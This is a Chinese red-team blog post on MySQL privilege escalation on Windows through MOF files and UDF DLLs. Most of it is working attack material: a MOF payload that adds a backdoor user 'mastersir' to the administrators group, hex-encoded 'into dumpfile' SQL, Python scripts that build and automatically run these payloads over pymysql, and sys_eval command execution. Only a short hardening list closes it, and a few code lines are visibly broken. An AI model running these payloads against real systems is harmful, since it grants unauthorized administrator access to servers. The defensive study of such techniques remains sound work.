vlambda博客
学习文章列表

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


写在前边




渗透测试的灵魂归根结底是信息搜集。简单列举一些在搜集的过程中可以利用到MySQL提权的点: 


  • MySQL爆破出弱口令

  • 安装文件泄露导致数据库密码泄露

  • 数据库备份文件泄露

  • 在利用webshell提权的过程中可用的提权方式有限

  • 站库分离

  • spring boot内存dump文件泄露

  • sqlmap 注入的 --sql-shell 命令

  • ...... 


下文将会通过对MySQL环境下一些提权场景的复盘,帮助大家梳理存在的威胁和加固建议。希望通过本文的介绍,大家能有所收获~





MOF提权(Windows)


1.提权条件






  • 适用于Windows Server 2003/XP 等 Windows低版本。

  • 拥有MySQL的root权限。

  • secure_file_priv为空,且不为NULL或指定目录(MySQL 全局配置,为空不做目录限制,为NULL禁止导入导出)。

2.利用原理






mof是Windows系统的一个文件,在C:/WINDOWS/system32/wbem/mof/文件夹下被执行,叫做托管对象格式,会以间隔5秒的时间监控进程的创建和死亡。


MOF提权过程就是利用现有的提权条件,将新的mof文件写入到C:/WINDOWS/system32/wbem/mof/目录下,然后被执行(其中mof文件中包含要执行的系统命令)。


常见的操作就是利用执行系统命令去创建一个普通用户,再将普通用户添加到管理员用户组,从而拿到管理员权限。


3.提权过程






开始先看下mof文件的编写(exp)规范:

  
    
    
  
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {  EventNamespace = "Root\\Cimv2";  Name = "filtP2";  Query = "Select * From __InstanceModificationEvent "  "Where TargetInstance Isa \"Win32_LocalTime\" "  "And TargetInstance.Second = 5";  QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {  Name = "consPCSV2";  ScriptingEngine = "JScript";  ScriptText =  "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mastersir mastersir /add\")"; }; instance of __FilterToConsumerBinding {  Consumer = $Consumer;  Filter = $EventFilter; };

*左右滑动查看更多


执行命令的关键在于net.exe user mastersir mastersir /add,用来创建一个mastersir用户。创建成功后,再将这句命令改为“net.exe localgroup administrators mastersir /add”后,再次上传,达到创建mastersir用户并将其加入administrators组的目的。


检查条件:

查看服务器版本:

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 1:

查看用户权限:

  
    
    
  
select user();


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 2:

查看secure_file_priv为空。

  
    
    
  
SHOW VARIABLES LIKE "secure_file_priv";

*左右滑动查看更多


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 3:

(1) 间接写入式

利用load_file读取上传文件的内容,然后再写入到c:/windows/system32/wbem/mof/文件夹写。


假设通过文件上传传了一个mof文件mof.txt。

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 4:

查看当前用户列表:

  
    
    
  
net user


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 5:

写入mof文件:

  
    
    
  
select load_file("D:/WWW/uploads/data/upload/mof.txt") into dumpfile "C:/WINDOWS/system32/wbem/mof/mastersir.mof"

*左右滑动查看更多


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 6:

检查创建的用户:

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 7:

修改执行命令语句将创建用户加入管理员组:

  
    
    
  
net.exe localgroup administrators mastersir /addselect load_file("D:/WWW/uploads/data/upload/mof.txt") into dumpfile "C:/WINDOWS/system32/wbem/mof/mastersir.mof"

*左右滑动查看更多


查看mastersir用户信息:

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 8:

(2) 直接写入式

如果直接将mof代码写入

C:/WINDOWS/system32/wbem/mof/文件夹下的话,里边的字符可能会影响语句的正常执行。MySQL是默认支持十六进制的,可以利用十六进制写入。


坑点:

将构造好的mof代码进行十六进制编码的话再次解码会发现变成了一行,换行消失了。

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 9:

可以利用200a来添加换行操作:

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 10:

为了满足自己生成执行命令的需要,此处简单写了一个Python脚本:

  
    
    
  
#!/user/bin/# -*- coding:UTF-8 -*-# Author:Masterimport binascii
# 可直接修改payloadpayload1 = 'net.exe user mastersir mastersir /add'payload2 = 'net.exe localgroup administrators mastersir /add'def exp(cmd): str_16 = binascii.b2a_hex(cmd.encode('utf-8')) str_16 = str(str_16)[2:-1] payload = f'0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c22{str_16}5c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b' return 'select ' + payload + " into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';"exp1 = exp(payload1)print('创建用户:' + exp1)exp2 = exp(payload2)print('管理员组:' + exp2)

*左右滑动查看更多


构造SQL语句:

select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206d6173746572736972363636206d6173746572736972202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';

*左右滑动查看更多


查看用户:

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结





UDF提权


1.提权条件






  • 服务器类型:Windows用dll,linux用so。

  • MySQL版本:MySQL版本>5.1,udf.dll文件必须放置在MySQL的lib\plugin\安装目录下。如果MySQL版本≤5.1,udf.dll文件在system32目录下。

  • MySQL位数:32位、64位。

  • root权限。

2.利用原理






UDF是用户自定义函数,是MySQL的一个拓展接口。可以通过自定义函数在SQL语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让MySQL用函数执行系统命令。


3.提权过程





Figure 11:

查看MySQL版本:

  
    
    
  
select @@version;


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 12:

查看MySQL系统位数:

  
    
    
  
show variables like '%version_%';

*左右滑动查看更多


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 13:

查找MySQL插件目录:

show variables like '%plugin%';# 如果不存在的话可以在webshell中找到 MySQL 的安装目录然后手工创建\lib\plugin文件夹。

*左右滑动查看更多


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 14:

(1) 利用sqlmap动态链接库

基于32位MySQL动态链接库文件位置:/Users/sqlma/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_(编码过得dll,利用cloak.py解码)/Users/sqlmap/extra/cloak/cloak.py(解码dll)
解码命令:# 解码32位的Windows动态链接库python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

*左右滑动查看更多


查看32位MySQL动态链接库包含的函数:

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 15:

查询MySQL根目录:

  
    
    
  
select @@basedir;


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 16:

将dll文件以十六进制的形式写入plugin目录下。

  
    
    
  
SELECT 0x4d5a90000······300000000000 INTO DUMPFILE 'D:/phpStudy/MySQL/lib/plugin/mastersir.dll';

*左右滑动查看更多


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 17:

查看目录下写入情况:

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 18:

调用自定义函数:

  
    
    
  
# 引入自定义的dllcreate function sys_eval returns string soname "mastersir.dll";# 查看MySQL函数里面是否新增了sys_eval方法

*左右滑动查看更多


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 19:

执行系统命令:

  
    
    
  
select sys_eval('net user');

*左右滑动查看更多


九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结


Figure 20:

删除自定义函数:

  
    
    
  
drop function sys_eval;


(2) 利用MSF动态链接库

利用MSF的动态链接库是一样的方法,但是MSF的dll是不需要解密的,这里只提MSF的dll文件位置(Mac环境下)。

  
    
    
  
/opt/metasploit-framework/embedded/framework/data/exploits/mysql/lib_mysqludf_sys_32.dll

*左右滑动查看更多





拓展


MOF脚本拓展






有payload怎么能不自动化,基于上文的payload脚本简单修改一下:

  
    
    
  
#!/user/bin/# -*- coding:UTF-8 -*-# Author:Master先生import binasciiimport pymysql
payload1 = 'net.exe user mastersir mastersir /add'payload2 = 'net.exe localgroup administrators mastersir /add'def exp(cmd): str_16 = binascii.b2a_hex(cmd.encode('utf-8')) str_16 = str(str_16)[2:-1] payload = f'0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c22{str_16}5c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b' return 'select ' + payload + " into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';"exp1 = exp(payload1)db = pymysql.connect(host='127.0.0.1',user='root',password='root',database='information_schema')cursor = db.cursor()cursor.execute(exp1)exp1 = exp(payload2)cursor.execute(exp2)db.close()

*左右滑动查看更多


此处简单写了MOF的脚本拓展,UDF大家可根据内容进行自行尝试。






MySQL提权的防护


1.使用高版本的Windows Server。

    1)限制导出权限 

    2)增加root账号的密码强度 

    3)经常性的对网站进行测试,保证网站的安全性 

2.查看mysql数据库中user表授权的登录host,禁止具备root账号权限的用户通过“%”进行登录。

3.增加root账号的密码强度。

4.限制数据库用户的创建文件上传文件等权限,配置MySQL不允许外连。


—  往期回顾  —








END



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结